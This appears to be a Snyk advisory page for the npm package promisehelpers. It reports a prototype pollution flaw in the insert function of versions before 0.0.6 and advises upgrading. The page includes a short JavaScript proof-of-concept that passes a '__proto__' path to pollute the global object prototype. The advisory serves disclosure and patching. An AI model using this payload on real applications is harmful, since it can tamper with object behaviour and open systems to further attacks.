promisehelpers@0.0.4 vulnerabilities

Promise helper functions

  • latest version

    0.0.6

  • latest non vulnerable version

  • first published

    11 years ago

  • latest version published

    1 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the promisehelpers package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    promisehelpers is a Promise helper functions

    Affected versions of this package are vulnerable to Prototype Pollution via the insert function.

    POC:

    const promisehelpers = require('promisehelpers');
    var obj = {};
    promisehelpers.insert(['__proto__', 'polluted'], true)(obj);
    console.log(polluted); // true
    

    How to fix Prototype Pollution?

    Upgrade promisehelpers to version 0.0.6 or higher.

    <0.0.6